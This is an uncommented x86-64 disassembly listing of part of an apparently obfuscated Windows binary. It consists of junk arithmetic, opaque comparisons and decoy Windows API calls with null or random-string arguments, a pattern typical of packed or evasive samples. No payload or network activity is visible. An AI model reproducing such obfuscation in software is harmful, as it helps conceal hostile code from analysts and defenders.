mov r9d, dword [rax]
mov r8d, dword [rsp + 0x5808]
mov rax, qword [rsp + 0xb160]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rax]
call fcn.14015b410
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
sub eax, ecx
mov byte [rsp + 0x39b], al
movsx eax, word [rsp + 0x1b98]
mov dword [rsp + 0x5840], eax
cmp dword [rsp + 0x5840], 0x38b
je 0x140010ee9
cmp dword [rsp + 0x5840], 0x58e
je 0x140010e8b
jmp 0x140010f07
lea r8, [rsp + 0xb200]
mov rdx, qword [rsp + 0xb248]
mov ecx, 0x79
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x5844], eax
mov rax, qword [rsp + 0xb180]
mov rcx, qword [rsp + 0xa240]
add rcx, rax
mov rax, rcx
mov qword [0x140177398], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
add eax, ecx
mov word [rsp + 0x1ba4], ax
jmp 0x140010f07
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [0x140177038]
xor eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x92c8]
mov qword [rsp + 0xb250], rax
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xb138]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov dword [rsp + 0x5848], 0x8a36
lea rax, [rsp + 0x1ba0]
mov qword [rsp + 0xb258], rax
mov dword [rsp + 0x584c], 0x224c
lea rcx, str.XVNkZ3_UxCUXTDx5iW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bbc], ax
movsx eax, word [rsp + 0x1b98]
mov dword [rsp + 0x5850], eax
cmp dword [rsp + 0x5850], 0
je 0x140010f9e
cmp dword [rsp + 0x5850], 0x5b4
je 0x1400110df
jmp 0x14001114a
movzx eax, byte [rsp + 0x1fa]
mov byte [rsp + 0x5854], al
cmp byte [rsp + 0x5854], 0xe
je 0x140010fbc
jmp 0x1400110c1
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xb1e0]
movzx ecx, al
mov rax, qword [rsp + 0x9800]
shl rax, cl
mov qword [rsp + 0xb130], rax
mov dword [rsp + 0x5858], 0x5a9e
mov dword [rsp + 0x585c], 0x45f
mov eax, dword [rsp + 0x5814]
movzx ecx, al
mov eax, dword [rsp + 0x57a8]
shr eax, cl
mov dword [rsp + 0x57c8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.XkZcgikiTiYgJE5qKhjRTbaQ23jq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb260], rax
mov dword [rsp + 0x5860], 0x780d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [0x140183b40], al
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x5834]
mov dword [rsp + 0x492c], eax
mov dword [rsp + 0x5864], 0x977e
movzx eax, word [rsp + 0x1ba4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b94], ax
jmp 0x1400110dd
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
sub eax, ecx
mov byte [rsp + 0x39c], al
jmp 0x14001114a
lea rdx, [rsp + 0xb258]
lea rcx, [rsp + 0xb200]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x5868], eax
mov eax, dword [rsp + 0x4b3c]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x492c]
mov r8d, dword [rsp + 0x4b3c]
mov rax, qword [rsp + 0xb160]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4b3c]
call fcn.14015b410
movzx eax, word [rsp + 0x1ba4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov byte [rsp + 0x3a0], al
mov dword [rsp + 0x586c], 0x129c7
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x57a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
mov eax, dword [rsp + 0x4b3c]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov rcx, qword [rsp + 0xb258]
mov word [rcx], ax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bb0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx eax, word [rsp + 0xfe8]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a2c], ax
movsx eax, byte [rsp + 0x39f]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xb250]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
and eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5814]
sub ecx, eax
mov eax, ecx
mov dword [0x140177394], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [0x140183b48]
add eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
add eax, ecx
mov word [rsp + 0x1ba4], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5800], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb250]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc26
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5804], eax
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0xa240]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x1ba4]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xa2c0]
movzx ecx, al
mov rax, qword [rsp + 0xb188]
shr rax, cl
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb160]
mov qword [rsp + 0xb268], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb268]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140183b44], eax
mov eax, dword [rsp + 0x580c]
add eax, 0xc0
mov dword [rsp + 0x580c], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
xor eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
or eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
sub eax, ecx
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b98], ax
movzx eax, word [0x140177390]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5808], eax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
mov eax, dword [rsp + 0x57c8]
mov ecx, dword [rsp + 0x5814]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1b8]
mov dword [rcx], eax
cmp dword [rsp + 0x580c], 0xe8d9
jbe 0x14001119d
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57a8]
add ecx, eax
mov eax, ecx
mov dword [0x1401773a0], eax
lea rax, [rsp + 0x9800]
mov qword [rsp + 0xb270], rax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x3a0]
sub eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
mov edx, 0x7637b5
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5870], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x140177390]
sub eax, ecx
mov word [rsp + 0x1188], ax
lea rdx, [rsp + 0xb210]
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5870], eax
mov eax, dword [rsp + 0x5848]
sub eax, 0x2c
mov dword [rsp + 0x5848], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5830], eax
movzx ecx, word [rsp + 0x1b9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xb180]
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
shl rax, cl
mov qword [rsp + 0xa240], rax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xa240]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xb130]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov eax, dword [rsp + 0x57c8]
mov rcx, qword [rsp + 0xb1b8]
mov qword [rsp + 0xb278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb278]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb1b8]
mov dword [rcx], eax
cmp dword [rsp + 0x5848], 0x866e
jae 0x140011582
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb280], rax
mov dword [rsp + 0x5874], 0x2778
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov dword [rsp + 0x5878], eax
cmp dword [rsp + 0x5878], 0x509
je 0x1400117d2
cmp dword [rsp + 0x5878], 0x511
je 0x140011778
jmp 0x14001188c
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xb200]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x140177390]
add eax, ecx
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x3a0], al
jmp 0x14001188c
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
and eax, ecx
mov byte [rsp + 0x39f], al
lea r9, [rsp + 0xa2c0]
lea r8, [rsp + 0xb228]
lea rdx, [rsp + 0xb160]
mov rcx, qword [rsp + 0xb288]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x57f0], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0x39d]
mov r8d, dword [rsp + 0x4b3c]
mov rax, qword [rsp + 0xb270]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x39f]
call fcn.14015b380
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1b98], ax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [0x140183b48]
sub eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
mov eax, dword [0x140183b44]
mov ecx, dword [rsp + 0x5834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
mov eax, dword [rsp + 0x492c]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [0x140183b44], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57b0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x57a8], eax
movzx eax, word [0x140177390]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sar eax, cl
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bb4], ax
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x39a]
xor eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b98], ax
movzx eax, word [rsp + 0x1ba4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a2c], ax
movzx eax, byte [rsp + 0x3a0]
movzx ecx, byte [rsp + 0x39e]
add eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [0x1401773a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5814], eax
mov eax, dword [rsp + 0x492c]
mov ecx, dword [rsp + 0x4b3c]
sub ecx, eax
mov eax, ecx
mov dword [0x140183b44], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xa2c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x39a], al
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a0], al
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0x1bb8]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [0x140177398]
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
sar rax, cl
mov qword [rsp + 0xa240], rax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
mov rax, qword [rsp + 0xa240]
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
shl rax, cl
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57a8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x57b0], eax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x5834]
and ecx, eax
mov eax, ecx
mov dword [0x140183b44], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
sub eax, ecx
mov byte [rsp + 0x39c], al
mov eax, dword [rsp + 0x5818]
add eax, 0x3f
mov dword [rsp + 0x5818], eax
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xb138]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb250], rax
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1bb0]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5814]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57c8], eax
movsx eax, byte [rsp + 0x39f]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140177039], al
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe8]
shl eax, cl
mov word [rsp + 0x1ba4], ax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba8]
xor eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
sar eax, cl
mov byte [rsp + 0x3a0], al
cmp dword [rsp + 0x5818], 0x9a90
jne 0x14001188c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.Vad4rTjsQU7g1g7e8lVOyFuZePOcrL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb290], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov word [rsp + 0x1bc4], ax
mov dword [rsp + 0x587c], 0x514d
mov dword [rsp + 0x5880], 0x5185
lea rcx, str.SBV_GGNPAx6j
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bc0], ax
movzx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1fa], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov dword [rsp + 0x5884], 0xf721
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0x9800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb298], rax
movzx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401773a4], ax
mov dword [rsp + 0x5888], 0x3f31
mov eax, dword [0x1401773a0]
mov ecx, dword [rsp + 0x57c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1b98]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
sub eax, ecx
mov word [rsp + 0x1b94], ax
lea rcx, str.J7UVaW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bac], ax
movzx eax, byte [0x140183b48]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb180]
mov rcx, qword [rsp + 0xa240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0x92c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov eax, dword [rsp + 0x5874]
sub eax, 0x66
mov dword [rsp + 0x5874], eax
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0x92c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1bb0]
shl eax, cl
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
sar eax, cl
mov byte [0x140177039], al
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
sub eax, ecx
mov byte [rsp + 0x1fa], al
lea rdx, [rsp + 0x1a1b0]
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5838], eax
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc8], ax
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1ba4]
add eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
cmp dword [rsp + 0x5874], 0x1cb6
ja 0x140011de5
movzx eax, byte [rsp + 0x39c]
mov byte [rsp + 0x3a1], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xb1e0]
mov qword [0x140183b38], rax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xa240]
mov qword [rsp + 0xb2a0], rax
movabs rax, 0x7802c6e00e5236
cmp qword [rsp + 0xb2a0], rax
je 0x14001207e
movabs rax, 0x7ecbf34db29931
cmp qword [rsp + 0xb2a0], rax
je 0x1400120bc
jmp 0x140012180
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5814]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5808], eax
call fcn.14015b3d0
jmp 0x140012180
lea rax, [rsp + 0xb140]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb238]
lea r8, [rsp + 0xb1d8]
mov edx, ILAppendID
lea rcx, [rsp + 0xb2a8]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x57f0], eax
mov rax, qword [rsp + 0x92c8]
movzx ecx, al
mov rax, qword [rsp + 0xb180]
shl rax, cl
mov qword [rsp + 0xb138], rax
movzx eax, word [rsp + 0x1ba4]
movzx ecx, word [rsp + 0x1bb8]
or eax, ecx
mov word [rsp + 0x1a2c], ax
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
sar eax, cl
mov word [rsp + 0x1bb0], ax
movsx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39a], al
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x5808]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401773a8], eax
mov rax, qword [rsp + 0xb138]
mov qword [rsp + 0xb2b0], rax
lea rax, [rsp + 0x57a8]
mov qword [rsp + 0xb2b8], rax
lea rax, [0x140183b44]
mov qword [rsp + 0xb2c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x5814]
mov edx, dword [rsp + 0x57b0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001234d
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb138]
mov qword [rsp + 0xb2c8], rax
movabs rax, 0x7bfb7c569fad86
cmp qword [rsp + 0xb2c8], rax
je 0x140012249
jmp 0x14001234d
lea rax, [rsp + 0xb140]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xb1d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x4d
lea r9, [rsp + 0x57a8]
mov r8d, 0x48
mov rdx, qword [rsp + 0xb170]
mov ecx, 0xe9
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x588c], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1b98]
add eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0x92c8]
